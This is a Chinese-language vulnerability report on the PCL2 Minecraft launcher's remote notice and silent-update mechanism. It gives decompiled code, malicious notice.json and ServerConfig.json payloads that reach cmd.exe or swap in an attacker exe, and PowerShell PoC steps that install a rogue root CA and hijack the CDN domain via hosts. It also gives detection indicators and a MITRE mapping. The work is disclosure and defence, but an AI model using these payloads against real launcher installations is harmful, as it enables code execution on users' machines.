1
0

README.md 27 KB

PCL2 notice.json 远程代码执行分析报告

2026-10-21

省流:PCL2 在特定情况下有能力从服务器下载命令并执行。

哔哩哔哩封面
哔哩哔哩上的视频演示,谢谢“盖的二次方”帮忙上传。

研究员利益相关:https://github.com/MiRinFork/PCLPoC/discussions/1

避免不必要的讨论,谢谢。

目录

0. 摘要

从蓝奏云下载的样本与官方仓库 Hex-Dragon/PCL2 提交 6b9a50df91(2.99.0.0 正式版)中"最新正式版.zip"内的 exe SHA256 一致。

6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386  Plain Craft Launcher 2.exe
6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386  official/Plain Craft Launcher 2.exe

程序每次启动都会连接 HTTP 地址,按版本条件拉三个 JSON/文本:notice.cfg、notice.json、ServerConfig.json。客户端拿到后直接解释执行其中的 actions。

在这个基础上能搭出三条利用方法。

方法一:notice.json → actions.setup → LaunchAdvanceRun → 游戏启动时 cmd.exe /c "<任意命令>"。需求方提供的样本走的就是这条路径,我把它复现成了 launch 模式。

方法二:notice.cfg 写非常高的版本号 → 客户端重新下载攻击者的 ServerConfig.json → Update.Release.DownloadUrls 指向任意 zip → 解压到 PCL\ → 用户正常关闭 PCL 时执行 PCL\Plain Craft Launcher 2.exe,也就是攻击者的 exe。

方法三:setup 写入 UiCustomType=2、UiCustomNet=<恶意 XAML>、HintCustomCommand=true,下次启动加载远程自定义主页。

审查代码后的判断是设计上就把服务器下发的 JSON 作为执行目标。setup 执行任意命令。

btw,开源仓库里的 ModSecret.vb 被刻意删减,远程内容无从审计。

1. 样本与来源

1.1 基本信息

项目 值
文件名 Plain Craft Launcher 2.exe
大小 5,980,160 字节
类型 PE32 GUI,Intel 80386,Mono/.NET assembly
运行时 .NET Framework 4.x + WPF(PresentationFramework / PresentationCore / System.Xaml)
版本 PCL2/2.99.0.0.50;VersionCode = 413;BuildType = Release(50)
SHA-256 6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386

1.2 与官方发布包的比对

git clone --depth 1 https://github.com/Hex-Dragon/PCL2.git
unzip 最新正式版.zip -d official
sha256sum official/Plain\ Craft\ Launcher\ 2.exe "Plain Craft Launcher 2.exe"

1.3 反编译方法

使用 ilspycmd 9.1,-p -o decompiled 便直接生成工程。

整个程序 520 个类型,关键文件如下:

  • PCL/ModSecret.cs:公告、更新、联网配置、土豆码
  • PCL/PageLaunchRight.cs:自定义主页加载
  • PCL/CustomEvent.cs:自定义事件
  • PCL/ModBase.cs:GetObjectFromXML
  • PCL/Settings.cs:设置项定义与持久化
  • PCL/ModLaunch.cs:LaunchAdvanceRun 的实际执行代码

1.4 并非开源

官方仓库的 Plain Craft Launcher 2/Modules/ModSecret.vb 第一行写着:

'由于包含加解密等安全信息,本文件中的部分代码已被删除

整个文件只剩 203 行,notice、ServerConfig、UpdateStart、CheckPotatoCode 这些逻辑一概没有;而发布版二进制里有完整的实现。

也就是说,远程内容这一整块是闭源的。

这和社区声称“开源启动器”的论调不符,也是这次"后门"争议的来源。

2. 启动时的远程控制代码

2.1 调用

FormMain 初始化完成后启动 ModSecret.ServerLoader:

// PCL/ModSecret.cs:382
public static ModLoader.LoaderTask<int, int> ServerLoader =
    new ModLoader.LoaderTask<int, int>("PCL 配置更新", ServerSub, null, ThreadPriority.BelowNormal);

ServerSub(ModSecret.cs:1262)依次做这几件事:

  1. GET https://pcl2-server-1253424809.file.myqcloud.com/notice.cfg{CDN}
  2. 第一段解析成公告编号 num3,第五段是服务器配置版本 num4
  3. 若本地 Cache\ServerConfig.json 的 Version < num4,下载 ServerConfig.json{CDN}
  4. 若 num3 > HintNotice 或缓存不存在,下载 notice.json{CDN} 并写入 %TEMP%\PCL\Cache\Notice.json
  5. Settings.Set("HintNotice", num3)
  6. 反序列化 notice.json,逐条匹配 requirements,弹出公告,执行 buttons[].actions 或顶层 actions

关键代码:

// PCL/ModSecret.cs:1324
text3 = ModNet.NetRequestByClientRetry(
    "https://pcl2-server-1253424809.file.myqcloud.com/notice.cfg{CDN}");
num3 = (int)Math.Round(ModBase.Val(StringExtensions.Split(text3, "|", false)[0]));

// PCL/ModSecret.cs:1382
ModNet.NetDownloadByClient(
    "https://pcl2-server-1253424809.file.myqcloud.com/ServerConfig.json{CDN}", text);

// PCL/ModSecret.cs:1403
text4 = ModNet.NetRequestByClientRetry(
    "https://pcl2-server-1253424809.file.myqcloud.com/notice.json{CDN}",
    null, null, null, null, "*/*", null, RequireJson: true);
FileUtils.Write(ModBase.PathTemp + "Cache\\Notice.json", text4, null);
Settings.Set("HintNotice", num3);

2.2 actions 的完整能力

ModSecret.cs:1479-1534:

foreach (JProperty item3 in obj) {
    JProperty val4 = item3;
    switch (val4.Name) {
    case "copy":
        ModBase.ClipboardSet(val4.Value.ToString());          // 静默改剪贴板
        break;
    case "website":
        ModBase.OpenWebsite(val4.Value.ToString());           // 打开任意 http(s)
        break;
    case "stop":
        ModMain.FrmMain.EndProgram(SendWarning: false);       // 静默退出
        break;
    case "setup":
        JObject val5 = (JObject)val4.Value;
        foreach (KeyValuePair<string, JToken> item4 in val5)
            Settings.Set(item4.Key, item4.Value.ToString());  // 设置任意的 key👀 What is that?
        break;
    case "update":
    case "slientupdate":
        bool flag3 = Operators.CompareString(val4.Name, "slientupdate", false) == 0;
        if (!HasUpdatePermission) { ... }
        UpdateStart(flag3);                                   // 静默自我更新
        break;
    default:
        throw new Exception("未知的行动支:" + val4.Name + ", " + val4.Value.ToString());
    }
}

其中 setup 没有任何 key 白名单/黑名单,遍历字典直接写:

foreach (KeyValuePair<string, JToken> item4 in val5)
    Settings.Set(item4.Key, item4.Value.ToString());

Settings.Set 会按设置项定义的类型做 CTypeDynamic 转换。

2.3 HasUpdatePermission 恒为 true

// PCL/ModSecret.cs:402
private static bool HasUpdatePermission => true;

2.4 阿里纳西?是签名不是签名

SecretCdnSign(ModSecret.cs:428-445)的算法:

path = URL 中 "://" 之后的第一个 "/" 起
ts   = UTC Unix 秒
rand = 8 位小写十六进制随机数
key  = "PCL2Server"                     // 硬编码在客户端
hash = MD5(path + "-" + ts + "-" + rand + "-0-" + key)
URL  = path + "?sign=" + ts + "-" + rand + "-0-" + hash

签名只能防止"URL 被随意拼接"。

密钥硬编码在客户端,任何拿到 exe 的人都能生成合法签名。

然而不是密码学意义上的签名。

2.5 线上公告的真实形态

notice.json(2026-10-21 时获取):

[
  {
    "id": 230,
    "requirements": { "versioncode <=": 413, "versionbranch <=": 0 },
    "importantLevel": 1,
    "isUpdate": true,
    "title": "悲报",
    "description": "为遵守相关法律法规,PCL 不再提供 MC 下载功能,非常抱歉 qwq……",
    "buttons": [
      {
        "text": "更新 PCL",
        "actions": { "update": { "requireUserInput": true } }
      }
    ]
  }
]

ServerConfig.json 中 Update.Release.DownloadUrls 指向下载链接。

2.6 信任边界

flowchart TD
    A["OSS"] -->|"未签名 JSON"| B["PCL 客户端"]

    B --> C["actions.setup"]
    B --> D["actions.slientupdate"]
    B --> E["actions.copy / website / stop"]

    C --> F["Settings.Set(任意键)"]
    F --> G["LaunchAdvanceRun / UiCustomNet"]
    G --> H["cmd.exe /c ..."]

    D --> I["UpdateStart(Silent=true)"]
    I --> J["ServerConfig.DownloadUrls"]
    J --> K["任意 ZIP"]
    K --> L["解压"]
    L --> M["执行 EXE"]

    E --> N["剪贴板 / 浏览器 / 退出"]

信任边界画在了"TLS 连接"上,而不是"内容"上。TLS 终端(CDN 或中间人)返回什么 JSON,客户端就当成什么厂商指令来执行。{CDN} 的 MD5 签名只保证 URL 不被随意拼,管不了内容替换,何况密钥就躺在客户端里。

3. 利用方法一:notice.json → setup → LaunchAdvanceRun(点击"启动游戏")

3.1 样本

测试样本:

[
  {
    "id": 114514,
    "title": "",
    "description": "",
    "requirements": {},
    "actions": {
      "setup": {
        "LaunchAdvanceRun": "cmd.exe /c calc.exe",
        "LaunchAdvanceRunWait": "False"
      }
    }
  }
]

这份 JSON 会被 setup 逐键写进设置:LaunchAdvanceRun 是游戏启动前执行的全局命令(字符串),LaunchAdvanceRunWait 控制是否等待命令结束。

实战里有个坑:importantLevel 缺省为 2,而 PCL 会拿它和 SystemSystemActivity(用户之前点"不再提示"的等级)比较,如果目标机器上的值比 2 大,这条公告会被直接跳过。PoC 用 importantLevel: 999 绕开这一点。

3.2 LaunchAdvanceRun 到底何时执行

反编译代码里这个设置只有一个消费点:

// PCL/ModLaunch.cs:2865
private static void McLaunchCustom(ModLoader.LoaderTask<int, int> Loader)
{
    string text = Settings.Get<string>("LaunchAdvanceRun");
    ...
    if (Operators.CompareString(text, "", false) != 0)
    {
        McLaunchLog("正在执行全局自定义命令:" + text, (LogLevel)1);
        Process process = ModBase.StartProcess(new ProcessStartInfo
        {
            FileName = "cmd.exe",
            Arguments = $"/c \"{text}\"",
            WorkingDirectory = ModMinecraft.McFolderSelected,
            UseShellExecute = false,
            CreateNoWindow = true
        });
        if (Settings.Get<bool>("LaunchAdvanceRunWait"))
            while (!process.HasExited && !Loader.IsCanceled) Thread.Sleep(10);
    }
}

McLaunchCustom 是 McLaunchStart 加载器的一环(ModLaunch.cs:482),只在用户点击"启动游戏"之后执行。

所以这个形态是一次点击的 RCE:用户点"启动游戏" → cmd.exe /c "<命令>",命令以当前用户权限、无确认框执行。LaunchAdvanceRunWait=False 进入后台。

另有一前提,目标机器上得有可用的 Minecraft 版本,否则会在更早的"获取 Java / 登录 / 补全文件"阶段失败,不然触摸不到 McLaunchCustom。

3.3 同一原语还能写哪些危险设置

setup 能写任意已存在的设置键(不存在的键会抛 KeyNotFoundException,被逐 action 的 try/catch 捕获)。和代码执行、持久化有关的重点设置 key:

设置 key 作用 风险
LaunchAdvanceRun 游戏启动前 cmd /c 任意命令(利用方法一)
LaunchAdvanceRunWait 是否等待命令 控制阻塞/隐藏
HintCustomCommand 跳过自定义事件确认框 关闭最后一道确认
LaunchAdvanceJvm 追加 JVM 参数 -agentpath / -javaagent 加载任意 DLL/JAR
LaunchAdvanceGame 追加游戏参数 影响 MC 进程
ToolDownloadSource 下载源 改变后续下载来源
SystemSystemTelemetry 匿名遥测开关 隐私
Identify 设备识别码 指纹/定向

4. 利用方法二:notice.cfg + slientupdate → 静默更新 → 任意 exe

这个比上一个更强,他是一个 0 click

4.1 提高版本,强制刷新 ServerConfig

notice.cfg 的格式是 id|?|?|?|configVersion,ServerSub 拿第五段和本地 Cache\ServerConfig.json 的 Version 比较:

double num4 = ModBase.Val(StringExtensions.Split(text3, "|", false)[4]);
if ((double)num < num4) {
    ModNet.NetDownloadByClient(
        "https://pcl2-server-1253424809.file.myqcloud.com/ServerConfig.json{CDN}", text);
    ServerConfig = (JObject)FileUtils.ReadAsJson(text, null, null);
}

攻击者可以把 configVersion 设成 999,所有客户端就会重新下载攻击者的 ServerConfig.json。

4.2 slientupdate 选择攻击者的下载 URL

notice.json:

[
  {
    "id": 114514,
    "requirements": {},
    "importantLevel": 999,
    "actions": { "slientupdate": {} }
  }
]

UpdateStart(Silent: true) 的"获取更新信息"任务:

// PCL/ModSecret.cs:1004-1026
JObject val = (JObject)ServerConfig["Update"][ModBase.BuildTypes.Release.ToString()];
if (val.ContainsKey("PatchUrls") && StartsWithF(UpdateMark, "Empty", false))
    Urls = val["PatchUrls"].ToObject<List<string>>();
else if (val.ContainsKey("DownloadUrls"))
    Urls = val["DownloadUrls"].ToObject<List<string>>();

// 扩展名直接取自 URL
Extension = "." + PathUtils.GetExtension(BeforeLast(Urls.First(), "{CDN}", false));
LocalPath = string.Format("{0}{1}.{2}{3}",
    ModMain.RequestTaskTempFolder(), "2.99.0.0", 50, Extension);

UpdateMark 的默认值以 "Empty" 开头,所以只要攻击者的 ServerConfig 不提供 PatchUrls,就会落到 DownloadUrls。下载 URL 可以是任意 http(s)://,扩展名直接取自 URL,这里用 .zip。

4.3 解压到 PCL\,退出时执行

// PCL/ModSecret.cs:190-211
internal void _Lambda_0024__2()
{
    string text = Paths.Base + "PCL\\Plain Craft Launcher 2.exe";
    if (FileUtils.Exists(text)) FileUtils.Delete(text, false);

    if (Extension == ".zip")
        FileUtils.ExtractToDirectory(LocalPath, Paths.Base + "PCL\\", ...);
    else
        MsDelta.Apply(ModBase.PathExe, LocalPath, Paths.Base + "PCL\\Plain Craft Launcher 2.exe");

    if (IsSilentUpdate) {
        IsUpdateWaitingRestart = true;
        return;
    }
    ...
}
// PCL/ModSecret.cs:1084-1097
public static void UpdateRestart(bool TriggerRestartAndByEnd)
{
    IsUpdateWaitingRestart = false;
    string fileName = Paths.Base + "PCL\\Plain Craft Launcher 2.exe";
    string text = $"--update {Process.GetCurrentProcess().Id} " +
                  $"\"{AppDomain.CurrentDomain.SetupInformation.ApplicationName}\" " +
                  $"\"{AppDomain.CurrentDomain.SetupInformation.ApplicationName}\" {TriggerRestartAndByEnd}";
    ModBase.StartProcess(new ProcessStartInfo(fileName)
    {
        WindowStyle = ProcessWindowStyle.Hidden,
        CreateNoWindow = true,
        Arguments = text
    });
    if (TriggerRestartAndByEnd) ModMain.FrmMain.EndProgram(SendWarning: false);
}

EndProgram 在退出前检查 IsUpdateWaitingRestart 并调用 UpdateRestart(TriggerRestartAndByEnd: false)(FormMain.cs:1963)。

4.4 完整时间线(零点击)

flowchart TD
    A["PCL 启动"]
    A --> B["GET notice.cfg<br/>configVersion=999"]
    B --> C["GET ServerConfig.json<br/>Version=999<br/>DownloadUrls=https://.../update.zip"]
    C --> D["GET notice.json<br/>actions.slientupdate"]
    D --> E["UpdateStart(Silent=true)"]
    E --> F["GET update.zip"]
    F --> G["ZIP 内仅包含 Plain Craft Launcher 2.exe<br/>实际为攻击者 EXE"]
    G --> H["解压到 PCL目录/PCL/Plain Craft Launcher 2.exe"]
    H --> I["IsUpdateWaitingRestart = true"]
    I --> J["用户正常关闭 PCL"]
    J --> K["EndProgram"]
    K --> L["UpdateRestart(false)"]
    L --> M["Process.Start<br/>PCL目录/PCL/Plain Craft Launcher 2.exe --update ..."]
    M --> N["攻击者 EXE 运行计算器"]

4.5 这里是自动更新!别的启动器都有

相比较同行,一个正常的自动更新至少应该有签名或 checksum。并且更新来源是固定的。以及可以被检查的任何行为。

而不是偷偷给你运行一个包,美名其曰静默更新,其他整合包、启动器都有。上面规划是好的,就是执行坏了?

5. 为什么这是"后门",不是自动更新?

能力 实现 后门特征
启动即连固定 C2 notice.cfg / notice.json / ServerConfig.json 每次启动自动回连
远程任意设置 setup + Settings.Set 可改启动参数、主页、更新源、安全开关
远程静默更新 slientupdate + UpdateStart(true) 可替换自身为任意 exe
远程退出/剪贴板/开网页 stop / copy / website 可做定向操作
无 Authenticode PE Security Directory = 0 替换/篡改难被发现
闭源关键模块 官方源码删除 ModSecret 公告逻辑 不可审计
设备指纹 Identify(主板 LastConfig + 持久随机数) 可定向投递

我们在这里研究的是“能不能”,不是作者“会不会?”

历史是一本教科书,他告诉我们人们不能从历史吸取教训。

Android 某 Root 程序 S……e 在服务器塞反注入代码,有两种行为,其一随机卡死手机,其二抹掉数据。目的是好的——反盗版说是,只是执行坏了——反盗版机制会干掉正版用户。

知名第三方聊天软件 N……m,开源软件不放任何恶意代码,发布版本写入自动上传代码。作者声称:

If your question is, “Is it true?”, the answer is yes, numbers were sent to the bot. But not a single number has been stored anywhere or shared with anyone ever.

Some people are asking for an “explanation”, but what kind of explanation do you want? It sends your phone number, it is what it is.

你信吗?

那 PCL 作者,你信吗?

5.1 侏罗纪老头进蓝奏云放的

截至笔者完成本报告,没有发现第三方二次打包或额外植入的恶意代码。依据如下:

  • 样本 SHA-256 与官方仓库发布包 SHA256 一致;
  • PE 只有 3 个节,是正常 .NET assembly,没有加壳或附加节;
  • 出站域名主要是官方 CDN、GitHub/CNB、BMCLAPI、Modrinth/CurseForge、微软登录、腾讯云 CLS 遥测,以及 PageLaunchRight 里列出的社区主页预设(如 qawsedrftgyhujiko.fun、g-fish.dpdns.org 等,均为用户可选的"主页预设",不是隐藏 C2);
  • 没有发现隐藏的 cmd.exe/PowerShell 拼接、反射加载任意 URL、计划任务/服务安装这类典型木马行为(cmd.exe 只出现在游戏启动、更新安装等常规路径)。

真正的问题在官方本身。

5.2 攻击链映射(MITRE ATT&CK)

阶段 技术 本报告对应
初始访问/供应链 T1195 Supply Chain Compromise 控制 CDN / 构建 / 更新源
资源开发 T1587 Develop Capabilities 伪造 notice.json / ServerConfig
执行 T1059.003 Windows Command Shell LaunchAdvanceRun → cmd /c
执行 T1204.002 User Execution: Malicious File 主页按钮/"启动游戏"点击
持久化 T1546 Event Triggered Execution 公告每次启动执行
防御规避 T1553 Subvert Trust Controls 无 Authenticode/内容签名;关闭确认框
命令与控制 T1105 Ingress Tool Transfer certutil / 任意 .zip 下载
影响 T1554 Compromise Host Software Binary 静默替换 PCL\Plain Craft Launcher 2.exe

6. PoC

6.1 设计

我们模拟官方服务器。

  1. 生成 CA,并为 pcl2-server-1253424809.file.myqcloud.com 签发叶子证书;
  2. 把 CA 装进 Windows 根证书存储;
  3. 改 hosts,把公告域名指到 127.0.0.1;
  4. 本地 443 起 HTTPS 服务器,返回伪造的 notice.cfg / notice.json / ServerConfig.json / update.zip;
  5. 启动 PCL,按模式触发:launch 是启动后点"启动游戏";update 是等静默更新 staging 后关闭 PCL;xaml 是第一次启动写设置、第二次启动点页面按钮;
  6. payload 写 %TEMP%\pcl-poc-marker.txt 并启动 calc.exe;
  7. 清理 hosts / 根证书 / PCL 注册表与 staging。

6.2 文件清单

poc/
├── server.ps1                # 纯 PowerShell HTTPS 伪造服务器(默认,无需 Python)
├── server.py                 # Python 版服务器(-Server python 时使用)
├── Invoke-PCLPoC.ps1         # Windows 管理员一键脚本(自签证书/hosts/启动/清理)
├── certs/
│   ├── ca.crt / ca.key       # 实验室 CA
│   └── server.crt / server.key  # 为公告域名签发的 leaf
├── samples/                  # 需求方原始 notice.json 与计算器变体
├── www/                      # update.zip / 静态文件(运行时生成)
└── README.md                 # 运行说明

6.3 前置条件

  • Windows 虚拟机;
  • PCL2 2.99.0.0(样本 exe);
  • .NET Framework 4.8(Windows 自带);
  • 管理员权限(改 hosts、装根证书、监听 443);Windows PowerShell 5.1(脚本会自动从 pwsh 7 切回 5.1);
  • launch 模式需要一个可启动的 Minecraft 实例;
  • 首次运行 PCL 需先手动接受 EULA 并初始化。

6.4 运行

# 以管理员身份打开 PowerShell
cd <PCL目录>\poc
powershell -ExecutionPolicy Bypass -File .\Invoke-PCLPoC.ps1 -Mode update
  • -Mode update:零点击方法二。脚本启动 PCL,等 PCL\Plain Craft Launcher 2.exe staging 出现,关闭 PCL,校验 %TEMP%\pcl-poc-marker.txt 与 calc.exe。
  • -Mode launch:利用方法一。脚本启动 PCL 后提示你点"启动游戏",然后校验 marker。
  • -Mode both:默认,利用方法一加方法二。
  • -Manual:不自动启动/关闭 PCL。脚本只装 CA、改 hosts、起服务端,然后等你按 Enter;PCL 由研究者自己启动/关闭,适合用自己已配置好的 PCL,并在关闭前继续看日志或抓包。按 Enter 后才校验 marker 并清理。
  • -Manual 且省略 -PclPath:完全 server-only,不读取、不备份、不启动、不关闭任何 PCL;此时公告对 PCL\Setup.ini 的修改不会自动恢复,建议用可丢弃的 PCL 副本。

也可以手动分步跑:

# 1) 安装 CA
Import-Certificate .\certs\ca.crt -CertStoreLocation Cert:\LocalMachine\Root
# 2) 改 hosts
Add-Content $env:SystemRoot\System32\drivers\etc\hosts "`r`n127.0.0.1 pcl2-server-1253424809.file.myqcloud.com"
# 3) 起服务
powershell.exe -File .\server.ps1 -Mode update -Port 443 -PayloadExe C:\Users\Public\pclpoc.exe -CertThumbprint <叶子证书指纹>

# 或者用 Python 版:
# python .\server.py --mode update --port 443 --payload-exe C:\Users\Public\pclpoc.exe
# 4) 启动 PCL,等待更新 staging,关闭 PCL

6.5 预期结果

update 模式:

  1. 服务端日志(server.out.log)出现:

    [req ] /notice.cfg
    [req ] /ServerConfig.json
    [req ] /notice.json
    [req ] /update.zip
    
  2. <PCL目录>\PCL\Plain Craft Launcher 2.exe 出现(内容为 payload);

  3. 关闭 PCL 后,calc.exe 启动;

  4. %TEMP%\pcl-poc-marker.txt 内容类似:

    2026-10-21T23:45:12.3456789+08:00 pid=1234 args=--update 5678 "Plain Craft Launcher 2.exe" ...
    

launch 模式:

  1. PCL 日志出现:

    执行 PCL 服务器公告动作...(setup, ...)
    ...
    正在执行全局自定义命令:C:\Users\Public\pclpoc.exe
    
  2. 点击"启动游戏"后 calc.exe 启动,marker 生成。

xaml 模式:

  1. 第二次启动后 %TEMP%\PCL\Cache\Custom.xaml 出现;
  2. 点击页面 Continue 后 calc.exe 启动,marker 生成;
  3. PCL 日志出现 执行自定义事件:执行命令, C:\Users\Public\pclpoc.exe。

7. 检测与响应

7.1 主机侧

  • hosts 中出现 pcl2-server-1253424809.file.myqcloud.com 指向非官方 IP;
  • 根证书存储中出现非官方 CA(尤其 CN 含 PoC 或随机字符串的);
  • PCL 目录出现 PCL\Plain Craft Launcher 2.exe staging;
  • %TEMP%\PCL\Cache\Notice.json、notice.cfg、ServerConfig.json 内容异常;
  • 注册表 HKCU\Software\PCL\HintNotice 突然变大;
  • PCL\Setup.ini 中 LaunchAdvanceRun、UiCustomType、UiCustomNet、HintCustomCommand 被改成陌生值;
  • PCL 日志关键词:下载 PCL 服务器公告、执行 PCL 服务器公告动作、启动器静默更新、更新程序启动、执行全局自定义命令、执行自定义事件:执行命令。

7.2 网络侧

  • 对 pcl2-server-1253424809.file.myqcloud.com 的 notice.cfg / notice.json / ServerConfig.json 请求;
  • 随后对任意 DownloadUrls 的 .zip 下载;
  • 证书异常(非腾讯云/非官方 CA);
  • DNS 解析异常。

7.3 修复建议

请更换更有信任的更新机制。

7.4 披露建议

无。

7.5 风险评级

维度 评估
严重性 High / 供应链级 RCE
攻击向量 网络(CDN 内容、DNS、TLS 中间人)
前提 控制公告 CDN 内容,或能让系统信任攻击者证书
用户交互 update 仅需正常关闭 PCL;launch 需一次点击
影响 当前用户权限任意代码执行、持久化、数据窃取、批量控制
检测难度 中高:无文件落地也可通过 PCL\Plain Craft Launcher 2.exe 暂存发现;日志有特征

8. 附录

A. 关键代码位置

功能 文件:行
ServerLoader 定义 PCL/ModSecret.cs:382
ServerSub 公告主流程 PCL/ModSecret.cs:1262
notice.cfg 拉取 PCL/ModSecret.cs:1324
ServerConfig.json 拉取 PCL/ModSecret.cs:1382
notice.json 拉取/缓存 PCL/ModSecret.cs:1403-1406
actions 分发 PCL/ModSecret.cs:1479-1534
setup 任意设置 PCL/ModSecret.cs:1495-1502
HasUpdatePermission => true PCL/ModSecret.cs:402
UpdateStart PCL/ModSecret.cs:957
更新 URL 选择 PCL/ModSecret.cs:1004-1026
zip 解压/安装 PCL/ModSecret.cs:190-211
UpdateRestart PCL/ModSecret.cs:1084-1097
LaunchAdvanceRun 执行 PCL/ModLaunch.cs:2865-2925
自定义主页加载 PCL/PageLaunchRight.cs:385-419
XAML 黑名单 PCL/ModBase.cs:1418-1447
自定义事件执行命令 PCL/CustomEvent.cs:129-150
事件确认绕过 PCL/CustomEvent.cs:455-470
设置默认值 PCL/Settings.cs:141-175, 246-249, 315-320
遥测 PCL/ModMain.cs:1807-1837

B. 官方来源